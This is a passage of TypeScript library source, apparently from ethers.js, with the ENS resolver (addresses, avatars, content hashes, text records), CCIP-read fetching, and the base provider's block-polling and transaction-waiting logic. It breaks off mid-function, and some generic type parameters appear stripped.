data (checksum is first 4 bytes of sha256d)\nfunction base58Encode(data: Uint8Array): string {\n return Base58.encode(concat([ data, hexDataSlice(sha256(sha256(data)), 0, 4) ]));\n}\n\nexport interface Avatar {\n url: string;\n linkage: Array<{ type: string, content: string }>;\n}\n\nconst matcherIpfs = new RegExp(\"^(ipfs):/\\/(.*)$\", \"i\");\nconst matchers = [\n new RegExp(\"^(https):/\\/(.*)$\", \"i\"),\n new RegExp(\"^(data):(.*)$\", \"i\"),\n matcherIpfs,\n new RegExp(\"^eip155:[0-9]+/(erc[0-9]+):(.*)$\", \"i\"),\n];\n\nfunction _parseString(result: string, start: number): null | string {\n try {\n return toUtf8String(_parseBytes(result, start));\n } catch(error) { }\n return null;\n}\n\nfunction _parseBytes(result: string, start: number): null | string {\n if (result === \"0x\") { return null; }\n\n const offset = BigNumber.from(hexDataSlice(result, start, start + 32)).toNumber();\n const length = BigNumber.from(hexDataSlice(result, offset, offset + 32)).toNumber();\n\n return hexDataSlice(result, offset + 32, offset + 32 + length);\n}\n\n// Trim off the ipfs:// prefix and return the default gateway URL\nfunction getIpfsLink(link: string): string {\n if (link.match(/^ipfs:\\/\\/ipfs\\//i)) {\n link = link.substring(12);\n } else if (link.match(/^ipfs:\\/\\//i)) {\n link = link.substring(7);\n } else {\n logger.throwArgumentError(\"unsupported IPFS format\", \"link\", link);\n }\n\n return `https:/\\/gateway.ipfs.io/ipfs/${ link }`;\n}\n\nfunction numPad(value: number): Uint8Array {\n const result = arrayify(value);\n if (result.length > 32) { throw new Error(\"internal; should not happen\"); }\n\n const padded = new Uint8Array(32);\n padded.set(result, 32 - result.length);\n return padded;\n}\n\nfunction bytesPad(value: Uint8Array): Uint8Array {\n if ((value.length % 32) === 0) { return value; }\n\n const result = new Uint8Array(Math.ceil(value.length / 32) * 32);\n result.set(value);\n return result;\n}\n\n// ABI Encodes a series of (bytes, bytes, ...)\nfunction encodeBytes(datas: Array) {\n const result: Array = [ ];\n\n let byteCount = 0;\n\n // Add place-holders for pointers as we add items\n for (let i = 0; i < datas.length; i++) {\n result.push(null);\n byteCount += 32;\n }\n\n for (let i = 0; i < datas.length; i++) {\n const data = arrayify(datas[i]);\n\n // Update the bytes offset\n result[i] = numPad(byteCount);\n\n // The length and padded value of data\n result.push(numPad(data.length));\n result.push(bytesPad(data));\n byteCount += 32 + Math.ceil(data.length / 32) * 32;\n }\n\n return hexConcat(result);\n}\n\nexport class Resolver implements EnsResolver {\n readonly provider: BaseProvider;\n\n readonly name: string;\n readonly address: string;\n\n readonly _resolvedAddress: null | string;\n\n // For EIP-2544 names, the ancestor that provided the resolver\n _supportsEip2544: null | Promise;\n\n // The resolvedAddress is only for creating a ReverseLookup resolver\n constructor(provider: BaseProvider, address: string, name: string, resolvedAddress?: string) {\n defineReadOnly(this, \"provider\", provider);\n defineReadOnly(this, \"name\", name);\n defineReadOnly(this, \"address\", provider.formatter.address(address));\n defineReadOnly(this, \"_resolvedAddress\", resolvedAddress);\n }\n\n supportsWildcard(): Promise {\n if (!this._supportsEip2544) {\n // supportsInterface(bytes4 = selector(\"resolve(bytes,bytes)\"))\n this._supportsEip2544 = this.provider.call({\n to: this.address,\n data: \"0x01ffc9a79061b92300000000000000000000000000000000000000000000000000000000\"\n }).then((result) => {\n return BigNumber.from(result).eq(1);\n }).catch((error) => {\n if (error.code === Logger.errors.CALL_EXCEPTION) { return false; }\n // Rethrow the error: link is down, etc. Let future attempts retry.\n this._supportsEip2544 = null;\n throw error;\n });\n }\n\n return this._supportsEip2544;\n }\n\n async _fetch(selector: string, parameters?: string): Promise {\n\n // e.g. keccak256(\"addr(bytes32,uint256)\")\n const tx = {\n to: this.address,\n ccipReadEnabled: true,\n data: hexConcat([ selector, namehash(this.name), (parameters || \"0x\") ])\n };\n\n // Wildcard support; use EIP-2544 to resolve the request\n let parseBytes = false;\n if (await this.supportsWildcard()) {\n parseBytes = true;\n\n // selector(\"resolve(bytes,bytes)\")\n tx.data = hexConcat([ \"0x9061b923\", encodeBytes([ dnsEncode(this.name), tx.data ]) ]);\n }\n\n try {\n let result = await this.provider.call(tx);\n if ((arrayify(result).length % 32) === 4) {\n logger.throwError(\"resolver threw error\", Logger.errors.CALL_EXCEPTION, {\n transaction: tx, data: result\n });\n }\n if (parseBytes) { result = _parseBytes(result, 0); }\n return result;\n } catch (error) {\n if (error.code === Logger.errors.CALL_EXCEPTION) { return null; }\n throw error;\n }\n }\n\n async _fetchBytes(selector: string, parameters?: string): Promise {\n const result = await this._fetch(selector, parameters);\n if (result != null) { return _parseBytes(result, 0); }\n return null;\n }\n\n _getAddress(coinType: number, hexBytes: string): string {\n const coinInfo = coinInfos[String(coinType)];\n\n if (coinInfo == null) {\n logger.throwError(`unsupported coin type: ${ coinType }`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `getAddress(${ coinType })`\n });\n }\n\n if (coinInfo.ilk === \"eth\") {\n return this.provider.formatter.address(hexBytes);\n }\n\n const bytes = arrayify(hexBytes);\n\n // P2PKH: OP_DUP OP_HASH160 OP_EQUALVERIFY OP_CHECKSIG\n if (coinInfo.p2pkh != null) {\n const p2pkh = hexBytes.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/);\n if (p2pkh) {\n const length = parseInt(p2pkh[1], 16);\n if (p2pkh[2].length === length * 2 && length >= 1 && length <= 75) {\n return base58Encode(concat([ [ coinInfo.p2pkh ], (\"0x\" + p2pkh[2]) ]));\n }\n }\n }\n\n // P2SH: OP_HASH160 OP_EQUAL\n if (coinInfo.p2sh != null) {\n const p2sh = hexBytes.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/);\n if (p2sh) {\n const length = parseInt(p2sh[1], 16);\n if (p2sh[2].length === length * 2 && length >= 1 && length <= 75) {\n return base58Encode(concat([ [ coinInfo.p2sh ], (\"0x\" + p2sh[2]) ]));\n }\n }\n }\n\n // Bech32\n if (coinInfo.prefix != null) {\n const length = bytes[1];\n\n // https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki#witness-program\n let version = bytes[0];\n if (version === 0x00) {\n if (length !== 20 && length !== 32) {\n version = -1;\n }\n } else {\n version = -1;\n }\n\n if (version >= 0 && bytes.length === 2 + length && length >= 1 && length <= 75) {\n const words = bech32.toWords(bytes.slice(2));\n words.unshift(version);\n return bech32.encode(coinInfo.prefix, words);\n }\n }\n\n return null;\n }\n\n\n async getAddress(coinType?: number): Promise {\n if (coinType == null) { coinType = 60; }\n\n // If Ethereum, use the standard `addr(bytes32)`\n if (coinType === 60) {\n try {\n // keccak256(\"addr(bytes32)\")\n const result = await this._fetch(\"0x3b3b57de\");\n\n // No address\n if (result === \"0x\" || result === HashZero) { return null; }\n\n return this.provider.formatter.callAddress(result);\n } catch (error) {\n if (error.code === Logger.errors.CALL_EXCEPTION) { return null; }\n throw error;\n }\n }\n\n // keccak256(\"addr(bytes32,uint256\")\n const hexBytes = await this._fetchBytes(\"0xf1cb7e06\", bytes32ify(coinType));\n\n // No address\n if (hexBytes == null || hexBytes === \"0x\") { return null; }\n\n // Compute the address\n const address = this._getAddress(coinType, hexBytes);\n\n if (address == null) {\n logger.throwError(`invalid or unsupported coin data`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `getAddress(${ coinType })`,\n coinType: coinType,\n data: hexBytes\n });\n }\n\n return address;\n }\n\n async getAvatar(): Promise {\n const linkage: Array<{ type: string, content: string }> = [ { type: \"name\", content: this.name } ];\n try {\n // test data for ricmoo.eth\n //const avatar = \"eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233\";\n const avatar = await this.getText(\"avatar\");\n if (avatar == null) { return null; }\n\n for (let i = 0; i < matchers.length; i++) {\n const match = avatar.match(matchers[i]);\n if (match == null) { continue; }\n\n const scheme = match[1].toLowerCase();\n\n switch (scheme) {\n case \"https\":\n linkage.push({ type: \"url\", content: avatar });\n return { linkage, url: avatar };\n\n case \"data\":\n linkage.push({ type: \"data\", content: avatar });\n return { linkage, url: avatar };\n\n case \"ipfs\":\n linkage.push({ type: \"ipfs\", content: avatar });\n return { linkage, url: getIpfsLink(avatar) };\n\n case \"erc721\":\n case \"erc1155\": {\n // Depending on the ERC type, use tokenURI(uint256) or url(uint256)\n const selector = (scheme === \"erc721\") ? \"0xc87b56dd\": \"0x0e89341c\";\n linkage.push({ type: scheme, content: avatar });\n\n // The owner of this name\n const owner = (this._resolvedAddress || await this.getAddress());\n\n const comps = (match[2] || \"\").split(\"/\");\n if (comps.length !== 2) { return null; }\n\n const addr = await this.provider.formatter.address(comps[0]);\n const tokenId = hexZeroPad(BigNumber.from(comps[1]).toHexString(), 32);\n\n // Check that this account owns the token\n if (scheme === \"erc721\") {\n // ownerOf(uint256 tokenId)\n const tokenOwner = this.provider.formatter.callAddress(await this.provider.call({\n to: addr, data: hexConcat([ \"0x6352211e\", tokenId ])\n }));\n if (owner !== tokenOwner) { return null; }\n linkage.push({ type: \"owner\", content: tokenOwner });\n\n } else if (scheme === \"erc1155\") {\n // balanceOf(address owner, uint256 tokenId)\n const balance = BigNumber.from(await this.provider.call({\n to: addr, data: hexConcat([ \"0x00fdd58e\", hexZeroPad(owner, 32), tokenId ])\n }));\n if (balance.isZero()) { return null; }\n linkage.push({ type: \"balance\", content: balance.toString() });\n }\n\n // Call the token contract for the metadata URL\n const tx = {\n to: this.provider.formatter.address(comps[0]),\n data: hexConcat([ selector, tokenId ])\n };\n\n let metadataUrl = _parseString(await this.provider.call(tx), 0);\n if (metadataUrl == null) { return null; }\n linkage.push({ type: \"metadata-url-base\", content: metadataUrl });\n\n // ERC-1155 allows a generic {id} in the URL\n if (scheme === \"erc1155\") {\n metadataUrl = metadataUrl.replace(\"{id}\", tokenId.substring(2));\n linkage.push({ type: \"metadata-url-expanded\", content: metadataUrl });\n }\n\n // Transform IPFS metadata links\n if (metadataUrl.match(/^ipfs:/i)) {\n metadataUrl = getIpfsLink(metadataUrl);\n }\n\n linkage.push({ type: \"metadata-url\", content: metadataUrl });\n\n // Get the token metadata\n const metadata = await fetchJson(metadataUrl);\n if (!metadata) { return null; }\n linkage.push({ type: \"metadata\", content: JSON.stringify(metadata) });\n\n // Pull the image URL out\n let imageUrl = metadata.image;\n if (typeof(imageUrl) !== \"string\") { return null; }\n\n if (imageUrl.match(/^(https:\\/\\/|data:)/i)) {\n // Allow\n } else {\n // Transform IPFS link to gateway\n const ipfs = imageUrl.match(matcherIpfs);\n if (ipfs == null) { return null; }\n\n linkage.push({ type: \"url-ipfs\", content: imageUrl });\n imageUrl = getIpfsLink(imageUrl);\n }\n\n linkage.push({ type: \"url\", content: imageUrl });\n\n return { linkage, url: imageUrl };\n }\n }\n }\n } catch (error) { }\n\n return null;\n }\n\n async getContentHash(): Promise {\n\n // keccak256(\"contenthash()\")\n const hexBytes = await this._fetchBytes(\"0xbc1c58d1\");\n\n // No contenthash\n if (hexBytes == null || hexBytes === \"0x\") { return null; }\n\n // IPFS (CID: 1, Type: DAG-PB)\n const ipfs = hexBytes.match(/^0xe3010170(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipfs) {\n const length = parseInt(ipfs[3], 16);\n if (ipfs[4].length === length * 2) {\n return \"ipfs:/\\/\" + Base58.encode(\"0x\" + ipfs[1]);\n }\n }\n\n // IPNS (CID: 1, Type: libp2p-key)\n const ipns = hexBytes.match(/^0xe5010172(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipns) {\n const length = parseInt(ipns[3], 16);\n if (ipns[4].length === length * 2) {\n return \"ipns:/\\/\" + Base58.encode(\"0x\" + ipns[1]);\n }\n }\n\n // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32)\n const swarm = hexBytes.match(/^0xe40101fa011b20([0-9a-f]*)$/)\n if (swarm) {\n if (swarm[1].length === (32 * 2)) {\n return \"bzz:/\\/\" + swarm[1]\n }\n }\n\n const skynet = hexBytes.match(/^0x90b2c605([0-9a-f]*)$/);\n if (skynet) {\n if (skynet[1].length === (34 * 2)) {\n // URL Safe base64; https://datatracker.ietf.org/doc/html/rfc4648#section-5\n const urlSafe: Record = { \"=\": \"\", \"+\": \"-\", \"/\": \"_\" };\n const hash = base64Encode(\"0x\" + skynet[1]).replace(/[=+\\/]/g, (a) => (urlSafe[a]));\n return \"sia:/\\/\" + hash;\n }\n }\n\n return logger.throwError(`invalid or unsupported content hash data`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"getContentHash()\",\n data: hexBytes\n });\n }\n\n async getText(key: string): Promise {\n\n // The key encoded as parameter to fetchBytes\n let keyBytes = toUtf8Bytes(key);\n\n // The nodehash consumes the first slot, so the string pointer targets\n // offset 64, with the length at offset 64 and data starting at offset 96\n keyBytes = concat([ bytes32ify(64), bytes32ify(keyBytes.length), keyBytes ]);\n\n // Pad to word-size (32 bytes)\n if ((keyBytes.length % 32) !== 0) {\n keyBytes = concat([ keyBytes, hexZeroPad(\"0x\", 32 - (key.length % 32)) ])\n }\n\n const hexBytes = await this._fetchBytes(\"0x59d1d43c\", hexlify(keyBytes));\n if (hexBytes == null || hexBytes === \"0x\") { return null; }\n\n return toUtf8String(hexBytes);\n }\n}\n\nlet defaultFormatter: Formatter = null;\n\nlet nextPollId = 1;\n\nexport class BaseProvider extends Provider implements EnsProvider {\n _networkPromise: Promise;\n _network: Network;\n\n _events: Array;\n\n formatter: Formatter;\n\n // To help mitigate the eventually consistent nature of the blockchain\n // we keep a mapping of events we emit. If we emit an event X, we expect\n // that a user should be able to query for that event in the callback,\n // if the node returns null, we stall the response until we get back a\n // meaningful value, since we may be hitting a re-org, or a node that\n // has not indexed the event yet.\n // Events:\n // - t:{hash} - Transaction hash\n // - b:{hash} - BlockHash\n // - block - The most recent emitted block\n _emitted: { [ eventName: string ]: number | \"pending\" };\n\n _pollingInterval: number;\n _poller: NodeJS.Timer;\n _bootstrapPoll: NodeJS.Timer;\n\n _lastBlockNumber: number;\n _maxFilterBlockRange: number;\n\n _fastBlockNumber: number;\n _fastBlockNumberPromise: Promise;\n _fastQueryDate: number;\n\n _maxInternalBlockNumber: number;\n _internalBlockNumber: Promise<{ blockNumber: number, reqTime: number, respTime: number }>;\n\n readonly anyNetwork: boolean;\n\n disableCcipRead: boolean;\n\n\n /**\n * ready\n *\n * A Promise that resolves only once the provider is ready.\n *\n * Sub-classes that call the super with a network without a chainId\n * MUST set this. Standard named networks have a known chainId.\n *\n */\n\n constructor(network: Networkish | Promise) {\n super();\n\n // Events being listened to\n this._events = [];\n\n this._emitted = { block: -2 };\n\n this.disableCcipRead = false;\n\n this.formatter = new.target.getFormatter();\n\n // If network is any, this Provider allows the underlying\n // network to change dynamically, and we auto-detect the\n // current network\n defineReadOnly(this, \"anyNetwork\", (network === \"any\"));\n if (this.anyNetwork) { network = this.detectNetwork(); }\n\n if (network instanceof Promise) {\n this._networkPromise = network;\n\n // Squash any \"unhandled promise\" errors; that do not need to be handled\n network.catch((error) => { });\n\n // Trigger initial network setting (async)\n this._ready().catch((error) => { });\n\n } else {\n const knownNetwork = getStatic<(network: Networkish) => Network>(new.target, \"getNetwork\")(network);\n if (knownNetwork) {\n defineReadOnly(this, \"_network\", knownNetwork);\n this.emit(\"network\", knownNetwork, null);\n\n } else {\n logger.throwArgumentError(\"invalid network\", \"network\", network);\n }\n }\n\n this._maxInternalBlockNumber = -1024;\n\n this._lastBlockNumber = -2;\n this._maxFilterBlockRange = 10;\n\n this._pollingInterval = 4000;\n\n this._fastQueryDate = 0;\n }\n\n async _ready(): Promise {\n if (this._network == null) {\n let network: Network = null;\n if (this._networkPromise) {\n try {\n network = await this._networkPromise;\n } catch (error) { }\n }\n\n // Try the Provider's network detection (this MUST throw if it cannot)\n if (network == null) {\n network = await this.detectNetwork();\n }\n\n // This should never happen; every Provider sub-class should have\n // suggested a network by here (or have thrown).\n if (!network) {\n logger.throwError(\"no network detected\", Logger.errors.UNKNOWN_ERROR, { });\n }\n\n // Possible this call stacked so do not call defineReadOnly again\n if (this._network == null) {\n if (this.anyNetwork) {\n this._network = network;\n } else {\n defineReadOnly(this, \"_network\", network);\n }\n this.emit(\"network\", network, null);\n }\n }\n\n return this._network;\n }\n\n // This will always return the most recently established network.\n // For \"any\", this can change (a \"network\" event is emitted before\n // any change is reflected); otherwise this cannot change\n get ready(): Promise {\n return poll(() => {\n return this._ready().then((network) => {\n return network;\n }, (error) => {\n // If the network isn't running yet, we will wait\n if (error.code === Logger.errors.NETWORK_ERROR && error.event === \"noNetwork\") {\n return undefined;\n }\n throw error;\n });\n });\n }\n\n // @TODO: Remove this and just create a singleton formatter\n static getFormatter(): Formatter {\n if (defaultFormatter == null) {\n defaultFormatter = new Formatter();\n }\n return defaultFormatter;\n }\n\n // @TODO: Remove this and just use getNetwork\n static getNetwork(network: Networkish): Network {\n return getNetwork((network == null) ? \"homestead\": network);\n }\n\n async ccipReadFetch(tx: Transaction, calldata: string, urls: Array): Promise {\n if (this.disableCcipRead || urls.length === 0) { return null; }\n\n const sender = tx.to.toLowerCase();\n const data = calldata.toLowerCase();\n\n const errorMessages: Array = [ ];\n\n for (let i = 0; i < urls.length; i++) {\n const url = urls[i];\n\n // URL expansion\n const href = url.replace(\"{sender}\", sender).replace(\"{data}\", data);\n\n // If no {data} is present, use POST; otherwise GET\n const json: string | null = (url.indexOf(\"{data}\") >= 0) ? null: JSON.stringify({ data, sender });\n\n const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => {\n value.status = response.statusCode;\n return value;\n });\n\n if (result.data) { return result.data; }\n\n const errorMessage = (result.message || \"unknown error\");\n\n // 4xx indicates the result is not present; stop\n if (result.status >= 400 && result.status < 500) {\n return logger.throwError(`response not found during CCIP fetch: ${ errorMessage }`, Logger.errors.SERVER_ERROR, { url, errorMessage });\n }\n\n // 5xx indicates server issue; try the next url\n errorMessages.push(errorMessage);\n }\n\n return logger.throwError(`error encountered during CCIP fetch: ${ errorMessages.map((m) => JSON.stringify(m)).join(\", \") }`, Logger.errors.SERVER_ERROR, {\n urls, errorMessages\n });\n }\n\n // Fetches the blockNumber, but will reuse any result that is less\n // than maxAge old or has been requested since the last request\n async _getInternalBlockNumber(maxAge: number): Promise {\n await this._ready();\n\n // Allowing stale data up to maxAge old\n if (maxAge > 0) {\n\n // While there are pending internal block requests...\n while (this._internalBlockNumber) {\n\n // ...\"remember\" which fetch we started with\n const internalBlockNumber = this._internalBlockNumber;\n\n try {\n // Check the result is not too stale\n const result = await internalBlockNumber;\n if ((getTime() - result.respTime) <= maxAge) {\n return result.blockNumber;\n }\n\n // Too old; fetch a new value\n break;\n\n } catch(error) {\n\n // The fetch rejected; if we are the first to get the\n // rejection, drop through so we replace it with a new\n // fetch; all others blocked will then get that fetch\n // which won't match the one they \"remembered\" and loop\n if (this._internalBlockNumber === internalBlockNumber) {\n break;\n }\n }\n }\n }\n\n const reqTime = getTime();\n\n const checkInternalBlockNumber = resolveProperties({\n blockNumber: this.perform(\"getBlockNumber\", { }),\n networkError: this.getNetwork().then((network) => (null), (error) => (error))\n }).then(({ blockNumber, networkError }) => {\n if (networkError) {\n // Unremember this bad internal block number\n if (this._internalBlockNumber === checkInternalBlockNumber) {\n this._internalBlockNumber = null;\n }\n throw networkError;\n }\n\n const respTime = getTime();\n\n blockNumber = BigNumber.from(blockNumber).toNumber();\n if (blockNumber < this._maxInternalBlockNumber) { blockNumber = this._maxInternalBlockNumber; }\n\n this._maxInternalBlockNumber = blockNumber;\n this._setFastBlockNumber(blockNumber); // @TODO: Still need this?\n return { blockNumber, reqTime, respTime };\n });\n\n this._internalBlockNumber = checkInternalBlockNumber;\n\n // Swallow unhandled exceptions; if needed they are handled else where\n checkInternalBlockNumber.catch((error) => {\n // Don't null the dead (rejected) fetch, if it has already been updated\n if (this._internalBlockNumber === checkInternalBlockNumber) {\n this._internalBlockNumber = null;\n }\n });\n\n return (await checkInternalBlockNumber).blockNumber;\n }\n\n async poll(): Promise {\n const pollId = nextPollId++;\n\n // Track all running promises, so we can trigger a post-poll once they are complete\n const runners: Array> = [];\n\n let blockNumber: number = null;\n try {\n blockNumber = await this._getInternalBlockNumber(100 + this.pollingInterval / 2);\n } catch (error) {\n this.emit(\"error\", error);\n return;\n }\n this._setFastBlockNumber(blockNumber);\n\n // Emit a poll event after we have the latest (fast) block number\n this.emit(\"poll\", pollId, blockNumber);\n\n // If the block has not changed, meh.\n if (blockNumber === this._lastBlockNumber) {\n this.emit(\"didPoll\", pollId);\n return;\n }\n\n // First polling cycle, trigger a \"block\" events\n if (this._emitted.block === -2) {\n this._emitted.block = blockNumber - 1;\n }\n\n if (Math.abs(((this._emitted.block)) - blockNumber) > 1000) {\n logger.warn(`network block skew detected; skipping block events (emitted=${ this._emitted.block } blockNumber${ blockNumber })`);\n this.emit(\"error\", logger.makeError(\"network block skew detected\", Logger.errors.NETWORK_ERROR, {\n blockNumber: blockNumber,\n event: \"blockSkew\",\n previousBlockNumber: this._emitted.block\n }));\n this.emit(\"block\", blockNumber);\n\n } else {\n // Notify all listener for each block that has passed\n for (let i = (this._emitted.block) + 1; i <= blockNumber; i++) {\n this.emit(\"block\", i);\n }\n }\n\n // The emitted block was updated, check for obsolete events\n if ((this._emitted.block) !== blockNumber) {\n this._emitted.block = blockNumber;\n\n Object.keys(this._emitted).forEach((key) => {\n // The block event does not expire\n if (key === \"block\") { return; }\n\n // The block we were at when we emitted this event\n const eventBlockNumber = this._emitted[key];\n\n // We cannot garbage collect pending transactions or blocks here\n // They should be garbage collected by the Provider when setting\n // \"pending\" events\n if (eventBlockNumber === \"pending\") { return; }\n\n // Evict any transaction hashes or block hashes over 12 blocks\n // old, since they should not return null anyways\n if (blockNumber - eventBlockNumber > 12) {\n delete this._emitted[key];\n }\n });\n }\n\n // First polling cycle\n if (this._lastBlockNumber === -2) {\n this._lastBlockNumber = blockNumber - 1;\n }\n // Find all transaction hashes we are waiting on\n this._events.forEach((event) => {\n switch (event.type) {\n case \"tx\": {\n const hash = event.hash;\n let runner = this.getTransactionReceipt(hash).then((receipt) => {\n if (!receipt || receipt.blockNumber == null) { return null; }\n this._emitted[\"t:\" + hash] = receipt.blockNumber;\n this.emit(hash, receipt);\n return null;\n }).catch((error: Error) => { this.emit(\"error\", error); });\n\n runners.push(runner);\n\n break;\n }\n\n case \"filter\": {\n // We only allow a single getLogs to be in-flight at a time\n if (!event._inflight) {\n event._inflight = true;\n\n // This is the first filter for this event, so we want to\n // restrict events to events that happened no earlier than now\n if (event._lastBlockNumber === -2) {\n event._lastBlockNumber = blockNumber - 1;\n }\n\n // Filter from the last *known* event; due to load-balancing\n // and some nodes returning updated block numbers before\n // indexing events, a logs result with 0 entries cannot be\n // trusted and we must retry a range which includes it again\n const filter = event.filter;\n filter.fromBlock = event._lastBlockNumber + 1;\n filter.toBlock = blockNumber;\n\n // Prevent fitler ranges from growing too wild, since it is quite\n // likely there just haven't been any events to move the lastBlockNumber.\n const minFromBlock = filter.toBlock - this._maxFilterBlockRange;\n if (minFromBlock > filter.fromBlock) { filter.fromBlock = minFromBlock; }\n\n if (filter.fromBlock < 0) { filter.fromBlock = 0; }\n\n const runner = this.getLogs(filter).then((logs) => {\n // Allow the next getLogs\n event._inflight = false;\n\n if (logs.length === 0) { return; }\n\n logs.forEach((log: Log) => {\n // Only when we get an event for a given block number\n // can we trust the events are indexed\n if (log.blockNumber > event._lastBlockNumber) {\n event._lastBlockNumber = log.blockNumber;\n }\n\n // Make sure we stall requests to fetch blocks and txs\n this._emitted[\"b:\" + log.blockHash] = log.blockNumber;\n this._emitted[\"t:\" + log.transactionHash] = log.blockNumber;\n\n this.emit(filter, log);\n });\n }).catch((error: Error) => {\n this.emit(\"error\", error);\n\n // Allow another getLogs (the range was not updated)\n event._inflight = false;\n });\n runners.push(runner);\n }\n\n break;\n }\n }\n });\n\n this._lastBlockNumber = blockNumber;\n\n // Once all events for this loop have been processed, emit \"didPoll\"\n Promise.all(runners).then(() => {\n this.emit(\"didPoll\", pollId);\n }).catch((error) => { this.emit(\"error\", error); });\n\n return;\n }\n\n // Deprecated; do not use this\n resetEventsBlock(blockNumber: number): void {\n this._lastBlockNumber = blockNumber - 1;\n if (this.polling) { this.poll(); }\n }\n\n get network(): Network {\n return this._network;\n }\n\n // This method should query the network if the underlying network\n // can change, such as when connected to a JSON-RPC backend\n async detectNetwork(): Promise {\n return logger.throwError(\"provider does not support network detection\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"provider.detectNetwork\"\n });\n }\n\n async getNetwork(): Promise {\n const network = await this._ready();\n\n // Make sure we are still connected to the same network; this is\n // only an external call for backends which can have the underlying\n // network change spontaneously\n const currentNetwork = await this.detectNetwork();\n if (network.chainId !== currentNetwork.chainId) {\n\n // We are allowing network changes, things can get complex fast;\n // make sure you know what you are doing if you use \"any\"\n if (this.anyNetwork) {\n this._network = currentNetwork;\n\n // Reset all internal block number guards and caches\n this._lastBlockNumber = -2;\n this._fastBlockNumber = null;\n this._fastBlockNumberPromise = null;\n this._fastQueryDate = 0;\n this._emitted.block = -2;\n this._maxInternalBlockNumber = -1024;\n this._internalBlockNumber = null;\n\n // The \"network\" event MUST happen before this method resolves\n // so any events have a chance to unregister, so we stall an\n // additional event loop before returning from /this/ call\n this.emit(\"network\", currentNetwork, network);\n await stall(0);\n\n return this._network;\n }\n\n const error = logger.makeError(\"underlying network changed\", Logger.errors.NETWORK_ERROR, {\n event: \"changed\",\n network: network,\n detectedNetwork: currentNetwork\n });\n\n this.emit(\"error\", error);\n throw error;\n }\n\n return network;\n }\n\n get blockNumber(): number {\n this._getInternalBlockNumber(100 + this.pollingInterval / 2).then((blockNumber) => {\n this._setFastBlockNumber(blockNumber);\n }, (error) => { });\n\n return (this._fastBlockNumber != null) ? this._fastBlockNumber: -1;\n }\n\n get polling(): boolean {\n return (this._poller != null);\n }\n\n set polling(value: boolean) {\n if (value && !this._poller) {\n this._poller = setInterval(() => { this.poll(); }, this.pollingInterval);\n\n if (!this._bootstrapPoll) {\n this._bootstrapPoll = setTimeout(() => {\n this.poll();\n\n // We block additional polls until the polling interval\n // is done, to prevent overwhelming the poll function\n this._bootstrapPoll = setTimeout(() => {\n // If polling was disabled, something may require a poke\n // since starting the bootstrap poll and it was disabled\n if (!this._poller) { this.poll(); }\n\n // Clear out the bootstrap so we can do another\n this._bootstrapPoll = null;\n }, this.pollingInterval);\n }, 0);\n }\n\n } else if (!value && this._poller) {\n clearInterval(this._poller);\n this._poller = null;\n }\n }\n\n get pollingInterval(): number {\n return this._pollingInterval;\n }\n\n set pollingInterval(value: number) {\n if (typeof(value) !== \"number\" || value <= 0 || parseInt(String(value)) != value) {\n throw new Error(\"invalid polling interval\");\n }\n\n this._pollingInterval = value;\n\n if (this._poller) {\n clearInterval(this._poller);\n this._poller = setInterval(() => { this.poll(); }, this._pollingInterval);\n }\n }\n\n _getFastBlockNumber(): Promise {\n const now = getTime();\n\n // Stale block number, request a newer value\n if ((now - this._fastQueryDate) > 2 * this._pollingInterval) {\n this._fastQueryDate = now;\n this._fastBlockNumberPromise = this.getBlockNumber().then((blockNumber) => {\n if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) {\n this._fastBlockNumber = blockNumber;\n }\n return this._fastBlockNumber;\n });\n }\n\n return this._fastBlockNumberPromise;\n }\n\n _setFastBlockNumber(blockNumber: number): void {\n // Older block, maybe a stale request\n if (this._fastBlockNumber != null && blockNumber < this._fastBlockNumber) { return; }\n\n // Update the time we updated the blocknumber\n this._fastQueryDate = getTime();\n\n // Newer block number, use it\n if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) {\n this._fastBlockNumber = blockNumber;\n this._fastBlockNumberPromise = Promise.resolve(blockNumber);\n }\n }\n\n async waitForTransaction(transactionHash: string, confirmations?: number, timeout?: number): Promise {\n return this._waitForTransaction(transactionHash, (confirmations == null) ? 1: confirmations, timeout || 0, null);\n }\n\n async _waitForTransaction(transactionHash: string, confirmations: number, timeout: number, replaceable: { data: string, from: string, nonce: number, to: string, value: BigNumber, startBlock: number }): Promise {\n const receipt = await this.getTransactionReceipt(transactionHash);\n\n // Receipt is already good\n if ((receipt ? receipt.confirmations: 0) >= confirmations) { return receipt; }\n\n // Poll until the receipt is good...\n return new Promise((resolve, reject) => {\n const cancelFuncs: Array<() => void> = [];\n\n let done = false;\n const alreadyDone = function() {\n if (done) { return true; }\n done = true;\n cancelFuncs.forEach((func) => { func(); });\n return false;\n };\n\n const minedHandler = (receipt: TransactionReceipt) => {\n if (receipt.confirmations < confirmations) { return; }\n if (alreadyDone()) { return; }\n resolve(receipt);\n }\n this.on(transactionHash, minedHandler);\n cancelFuncs.push(() => { this.removeListener(transactionHash, minedHandler); });\n\n if (replaceable) {\n let lastBlockNumber = replaceable.startBlock;\n let scannedBlock: number = null;\n const replaceHandler = async (blockNumber: number) => {\n if (done) { return; }\n\n // Wait 1 second; this is only used in the case of a fault, so\n // we will trade off a little bit of latency for more consistent\n // results and fewer JSON-RPC calls\n await stall(1000);\n\n this.getTransactionCount(replaceable.from).then(async (nonce) => {\n if (done) { return; }\n\n if (nonce <= replaceable.nonce) {\n lastBlockNumber = blockNumber;\n\n } else {\n // First check if the transaction was mined\n {\n const mined = await this.getTransaction(transactionHash);\n if (mined && mined.blockNumber != null) { return; }\n }\n\n // First time scanning. We start a little earlier for some\n // wiggle room here to handle the eventually consistent nature\n // of blockchain (e.g. the getTransactionCount was for a\n // different block)\n if (scannedBlock == null) {\n scannedBlock = lastBlockNumber - 3;\n if (scannedBlock < replaceable.startBlock) {\n scannedBlock = replaceable.startBlock;\n }\n 